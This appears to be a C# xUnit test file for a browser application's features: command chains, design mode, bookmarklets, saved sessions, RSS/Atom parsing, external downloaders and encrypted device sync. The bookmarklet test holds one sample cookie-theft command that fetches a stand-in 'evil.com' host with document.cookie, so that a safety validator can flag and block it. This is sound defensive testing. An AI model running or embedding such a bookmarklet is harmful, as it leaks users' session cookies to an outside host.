using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Security.Cryptography; using System.Threading.Tasks; using Paca.Browser.Automation; using Xunit; namespace Paca.Tests; public sealed class ModernBrowsingMilestone12Phase112Tests : IDisposable { private readonly string _tempDir; public ModernBrowsingMilestone12Phase112Tests() { _tempDir = Path.Combine(Path.GetTempPath(), "paca_m12_test_" + Guid.NewGuid().ToString("N")); Directory.CreateDirectory(_tempDir); } public void Dispose() { try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, true); } catch { } } [Fact] public async Task Gate182_CommandChainEngine_ExecutesMacroChainAndHandlesErrors() { // Arrange var engine = new CommandChainEngine(); var actions = new List { new(CommandActionKind.MuteTab, "tab-alpha"), new(CommandActionKind.Screenshot, "viewport"), new(CommandActionKind.CloseTab, "tab-alpha") }; var chain = new CommandChain("chain-quick-clean", "Quick Clean & Close", actions, StopOnError: true); engine.RegisterChain(chain); // Act 1: Verify chain registered var retrieved = engine.GetChain("chain-quick-clean"); Assert.NotNull(retrieved); Assert.Equal("Quick Clean & Close", retrieved.Name); Assert.Equal(3, retrieved.Actions.Count); // Act 2: Execute successful chain with execution tracker var executedActions = new List(); var result = await engine.ExecuteChainAsync("chain-quick-clean", async action => { executedActions.Add(action.Kind); await Task.Yield(); return true; }); // Assert 2 Assert.True(result.IsSuccess); Assert.Equal(3, result.ExecutedStepCount); Assert.Equal(3, executedActions.Count); Assert.Equal(CommandActionKind.MuteTab, executedActions[0]); Assert.Equal(CommandActionKind.Screenshot, executedActions[1]); Assert.Equal(CommandActionKind.CloseTab, executedActions[2]); Assert.Empty(result.ErrorMessage ?? string.Empty); // Act 3: Error handling when action fails with StopOnError enabled var errorChain = new CommandChain("chain-with-failure", "Fail at step 2", new List { new(CommandActionKind.DuplicateTab, "tab-1"), new(CommandActionKind.ExecuteScript, "throw new Error()"), new(CommandActionKind.ReloadTab, "tab-1") }, StopOnError: true); engine.RegisterChain(errorChain); var failStepExecuted = 0; var failResult = await engine.ExecuteChainAsync("chain-with-failure", async action => { failStepExecuted++; if (action.Kind == CommandActionKind.ExecuteScript) { await Task.Yield(); return false; // Action failure } return true; }); Assert.False(failResult.IsSuccess); Assert.Equal(2, failResult.ExecutedStepCount); Assert.Equal(2, failStepExecuted); // Did not run 3rd action Assert.False(string.IsNullOrWhiteSpace(failResult.ErrorMessage)); } [Fact] public void Gate183_DesignModeCoordinator_TogglesDesignModeAndGeneratesScripts() { // Arrange var coordinator = new DesignModeCoordinator(); string tabId = "tab-editor-101"; // Assert initial state Assert.False(coordinator.IsDesignModeEnabled(tabId)); // Act 1: Toggle ON var eventFired = false; string? eventTabId = null; bool? eventState = null; coordinator.DesignModeChanged += (t, state) => { eventFired = true; eventTabId = t; eventState = state; }; var state1 = coordinator.ToggleDesignMode(tabId); // Assert 1 Assert.True(state1); Assert.True(coordinator.IsDesignModeEnabled(tabId)); Assert.True(eventFired); Assert.Equal(tabId, eventTabId); Assert.True(eventState); Assert.Equal("Design Mode: ON", coordinator.GetStatusBadgeText(tabId)); // Act 2: Verify scripts Assert.Equal("document.designMode = 'on';", coordinator.GetEnableScript()); Assert.Equal("document.designMode = 'off';", coordinator.GetDisableScript()); Assert.Contains("document.designMode", coordinator.GetToggleScript()); // Act 3: Toggle OFF var state2 = coordinator.SetDesignMode(tabId, false); Assert.False(state2); Assert.False(coordinator.IsDesignModeEnabled(tabId)); Assert.Equal("Design Mode: OFF", coordinator.GetStatusBadgeText(tabId)); // Act 4: Clean up tab coordinator.RemoveTab(tabId); Assert.False(coordinator.IsDesignModeEnabled(tabId)); } [Fact] public async Task Gate184_BookmarkletRunner_ValidatesSafetyAndExecutesScript() { // Arrange var runner = new BookmarkletRunner(); // Act 1: Format and extraction Assert.True(BookmarkletRunner.IsBookmarklet("javascript:(function(){alert('hello');})();")); Assert.True(BookmarkletRunner.IsBookmarklet("JAVASCRIPT:void(0);")); Assert.False(BookmarkletRunner.IsBookmarklet("https://example.com/search?q=javascript")); var extracted = BookmarkletRunner.ExtractScript("javascript:%28function%28%29%7Balert%28%27paca%27%29%3B%7D%29%28%29%3B"); Assert.Equal("(function(){alert('paca');})();", extracted); // Act 2: Safety validation var safeScript = "javascript:document.body.style.backgroundColor='yellow';"; var safeValidation = runner.Validate(safeScript); Assert.True(safeValidation.IsValid); Assert.True(safeValidation.IsSafe); Assert.Equal(BookmarkletRiskLevel.Safe, safeValidation.RiskLevel); Assert.Empty(safeValidation.SecurityWarnings); var suspiciousScript = "javascript:fetch('https://malicious.evil.com/steal?c=' + document.cookie);"; var susValidation = runner.Validate(suspiciousScript); Assert.True(susValidation.IsValid); Assert.False(susValidation.IsSafe); Assert.Equal(BookmarkletRiskLevel.HighRisk, susValidation.RiskLevel); Assert.NotEmpty(susValidation.SecurityWarnings); Assert.Contains(susValidation.SecurityWarnings, w => w.Contains("cookie") || w.Contains("exfiltration") || w.Contains("fetch")); // Act 3: Execution with script executor delegate var execSafeResult = await runner.ExecuteBookmarkletAsync(safeScript, async script => { await Task.Yield(); return "yellow"; }); Assert.True(execSafeResult.Success); Assert.Equal("yellow", execSafeResult.Output); // High-risk execution blocked by default unless explicitly allowed var execSusResult = await runner.ExecuteBookmarkletAsync(suspiciousScript, async script => { await Task.Yield(); return "stolen"; }, allowHighRisk: false); Assert.False(execSusResult.Success); Assert.Contains("Blocked", execSusResult.ErrorMessage ?? string.Empty); } [Fact] public void Gate185_NamedSessionManager_SavesRestoresAndExportsSessions() { // Arrange var storagePath = Path.Combine(_tempDir, "sessions_db.json"); var manager = new NamedSessionManager(storagePath); var tabItems = new List { new("https://github.com/microsoft", "Microsoft GitHub", IsPinned: true, TabIndex: 0, GroupName: "Development"), new("https://learn.microsoft.com/dotnet", ".NET Documentation", IsPinned: false, TabIndex: 1, GroupName: "Development"), new("https://stackoverflow.com/questions", "StackOverflow", IsPinned: false, TabIndex: 2, GroupName: null) }; // Act 1: Save session var savedSession = manager.SaveSession("NetCoreWorkspace", tabItems, "Work session for .NET development"); Assert.NotNull(savedSession); Assert.Equal("NetCoreWorkspace", savedSession.Name); Assert.Equal(3, savedSession.Tabs.Count); // Act 2: Persistence check var reloadedManager = new NamedSessionManager(storagePath); var fetched = reloadedManager.GetSessionByName("NetCoreWorkspace"); Assert.NotNull(fetched); Assert.Equal("Work session for .NET development", fetched.Description); Assert.Equal(3, fetched.Tabs.Count); // Act 3: Restoration var restoredTabs = reloadedManager.RestoreSession("NetCoreWorkspace"); Assert.Equal(3, restoredTabs.Count); Assert.True(restoredTabs[0].IsPinned); Assert.Equal("Development", restoredTabs[0].GroupName); Assert.Equal("https://github.com/microsoft", restoredTabs[0].Url); // Act 4: Export and Import var jsonExport = reloadedManager.ExportSessionToJson("NetCoreWorkspace"); Assert.Contains("NetCoreWorkspace", jsonExport); Assert.Contains("https://github.com/microsoft", jsonExport); var importStorage = Path.Combine(_tempDir, "imported_sessions.json"); var importManager = new NamedSessionManager(importStorage); var imported = importManager.ImportSessionFromJson(jsonExport); Assert.NotNull(imported); Assert.Equal("NetCoreWorkspace", imported.Name); Assert.Equal(3, imported.Tabs.Count); // Act 5: Delete session var deleted = reloadedManager.DeleteSession("NetCoreWorkspace"); Assert.True(deleted); Assert.Null(reloadedManager.GetSessionByName("NetCoreWorkspace")); } [Fact] public void Gate186_RssFeedReaderEngine_DiscoversAndParsesRssAndAtomFeeds() { // Arrange var engine = new RssFeedReaderEngine(); // Act 1: Feed Discovery from HTML var html = @" Tech Portal

Welcome

"; var discovered = engine.DiscoverFeeds(html, baseUrl: "https://techportal.io"); Assert.Equal(2, discovered.Count); Assert.Equal("Tech RSS Feed", discovered[0].Title); Assert.Equal("https://techportal.io/feeds/rss.xml", discovered[0].Url); Assert.Equal(FeedKind.Rss, discovered[0].Kind); Assert.Equal("Tech Atom Feed", discovered[1].Title); Assert.Equal("https://techportal.io/atom.xml", discovered[1].Url); Assert.Equal(FeedKind.Atom, discovered[1].Kind); // Act 2: Parse RSS 2.0 var rssXml = @" Tech Portal News https://techportal.io Daily tech news feeds PACA Browser 2.0 Released https://techportal.io/articles/paca-2 Modern multi-engine browser updates. Sun, 13 Sep 2026 00:00:00 GMT editor@techportal.io "; var rssChannel = engine.ParseFeed(rssXml); Assert.Equal("Tech Portal News", rssChannel.Title); Assert.Equal("https://techportal.io", rssChannel.Link); Assert.Single(rssChannel.Items); Assert.Equal("PACA Browser 2.0 Released", rssChannel.Items[0].Title); Assert.Equal("https://techportal.io/articles/paca-2", rssChannel.Items[0].Link); Assert.Contains("Modern multi-engine", rssChannel.Items[0].Summary); Assert.NotNull(rssChannel.Items[0].PubDate); // Act 3: Parse Atom 1.0 var atomXml = @" Tech Atom Stream Atom subtitle Atom Entry One urn:uuid:60a76c80-d399-11d9-b91C-0003939e0af6 2026-09-13T07:00:00Z Atom summary content snippet. Alice "; var atomChannel = engine.ParseFeed(atomXml); Assert.Equal("Tech Atom Stream", atomChannel.Title); Assert.Single(atomChannel.Items); Assert.Equal("Atom Entry One", atomChannel.Items[0].Title); Assert.Equal("https://techportal.io/atom/entry-1", atomChannel.Items[0].Link); Assert.Equal("Atom summary content snippet.", atomChannel.Items[0].Summary); Assert.Equal("Alice", atomChannel.Items[0].Author); } [Fact] public async Task Gate187_ExternalDownloaderBridge_BuildsArgsAndDispatchesTasks() { // Arrange var bridge = new ExternalDownloaderBridge(); var task = new DownloadDispatchTask( Url: "https://example.com/downloads/bigfile.iso", DestinationDirectory: @"D:\Downloads", FileName: "bigfile.iso", Referer: "https://example.com/files", UserAgent: "PacaBrowser/2.0"); // Act 1: IDM CLI args var idmArgs = bridge.BuildCommandLineArgs(ExternalDownloaderType.Idm, task); Assert.Contains("/d", idmArgs); Assert.Contains("https://example.com/downloads/bigfile.iso", idmArgs); Assert.Contains(@"/p ""D:\Downloads""", idmArgs); Assert.Contains("/f \"bigfile.iso\"", idmArgs); // Act 2: Aria2 CLI args var aria2Args = bridge.BuildCommandLineArgs(ExternalDownloaderType.Aria2, task); Assert.Contains("https://example.com/downloads/bigfile.iso", aria2Args); Assert.Contains(@"--dir=""D:\Downloads""", aria2Args); Assert.Contains(@"--out=""bigfile.iso""", aria2Args); Assert.Contains(@"--header=""Referer: https://example.com/files""", aria2Args); // Act 3: Motrix Deeplink / CLI args var motrixArgs = bridge.BuildCommandLineArgs(ExternalDownloaderType.Motrix, task); Assert.Contains("bigfile.iso", motrixArgs); Assert.Contains("https://example.com/downloads/bigfile.iso", motrixArgs); // Act 4: Aria2 JSON-RPC payload var rpcPayload = bridge.BuildAria2JsonRpcPayload(task, secretToken: "token_12345"); Assert.Contains(@"""jsonrpc"":""2.0""", rpcPayload); Assert.Contains(@"""method"":""aria2.addUri""", rpcPayload); Assert.Contains("token:token_12345", rpcPayload); Assert.Contains("bigfile.iso", rpcPayload); // Act 5: Dispatch execution via CLI process runner var config = new ExternalDownloaderConfig(ExternalDownloaderType.Aria2, @"C:\Tools\aria2c.exe"); string? launchedExe = null; string? launchedArgs = null; var dispatchCliResult = await bridge.DispatchViaCliAsync(config, task, (exe, args) => { launchedExe = exe; launchedArgs = args; return Task.FromResult(true); }); Assert.True(dispatchCliResult.Success); Assert.Equal(@"C:\Tools\aria2c.exe", launchedExe); Assert.NotNull(launchedArgs); // Act 6: Dispatch execution via JSON-RPC var rpcConfig = new ExternalDownloaderConfig(ExternalDownloaderType.Aria2, string.Empty, "http://localhost:6800/jsonrpc", "token_12345"); string? rpcEndpoint = null; string? rpcBody = null; var dispatchRpcResult = await bridge.DispatchViaRpcAsync(rpcConfig, task, (url, payload) => { rpcEndpoint = url; rpcBody = payload; return Task.FromResult(@"{""jsonrpc"":""2.0"",""id"":""paca-dl-1"",""result"":""gid_999""}"); }); Assert.True(dispatchRpcResult.Success); Assert.Equal("http://localhost:6800/jsonrpc", rpcEndpoint); Assert.NotNull(rpcBody); Assert.Equal("gid_999", dispatchRpcResult.ExternalTaskId); } [Fact] public void Gate188_LocalP2pSyncEngine_GeneratesEncryptedPayloadsAndRestoresData() { // Arrange var sender = new LocalP2pSyncEngine(deviceId: "paca-desktop-x", deviceName: "Main Workstation"); var receiver = new LocalP2pSyncEngine(deviceId: "paca-mobile-y", deviceName: "Phone Client"); var secretPass = "StrongSyncPassphrase!2026"; var bookmarksJson = "{\"bookmarks\":[{\"title\":\"Paca Docs\",\"url\":\"https://paca.dev\"}]}"; // Act 1: Encrypt payload var envelope = sender.CreateEncryptedPayload(bookmarksJson, SyncDataType.Bookmarks, secretPass); // Assert 1: Envelope properties Assert.NotNull(envelope); Assert.Equal("paca-desktop-x", envelope.DeviceId); Assert.Equal("Main Workstation", envelope.DeviceName); Assert.Equal(SyncDataType.Bookmarks, envelope.DataType); Assert.False(string.IsNullOrWhiteSpace(envelope.EncryptedData)); Assert.False(string.IsNullOrWhiteSpace(envelope.Salt)); Assert.False(string.IsNullOrWhiteSpace(envelope.Iv)); Assert.False(string.IsNullOrWhiteSpace(envelope.Checksum)); Assert.DoesNotContain("Paca Docs", envelope.EncryptedData); // Encrypted! // Act 2: Decrypt with correct passphrase var decrypted = receiver.DecryptPayload(envelope, secretPass); Assert.NotNull(decrypted); Assert.Equal(bookmarksJson, decrypted.JsonContent); Assert.Equal(SyncDataType.Bookmarks, decrypted.DataType); Assert.Equal("paca-desktop-x", decrypted.DeviceId); // Act 3: Decrypt with incorrect passphrase fails Assert.ThrowsAny(() => { receiver.DecryptPayload(envelope, "WrongPassword#123"); }); // Act 4: Tampered payload fails integrity check var tamperedEnvelope = envelope with { Checksum = Convert.ToBase64String(new byte[32]) }; Assert.ThrowsAny(() => { receiver.DecryptPayload(tamperedEnvelope, secretPass); }); // Act 5: Serialization roundtrip to JSON var envelopeJson = sender.SerializeEnvelope(envelope); var restoredEnvelope = receiver.DeserializeEnvelope(envelopeJson); Assert.NotNull(restoredEnvelope); Assert.Equal(envelope.DeviceId, restoredEnvelope.DeviceId); var roundtripDecrypted = receiver.DecryptPayload(restoredEnvelope, secretPass); Assert.Equal(bookmarksJson, roundtripDecrypted.JsonContent); } }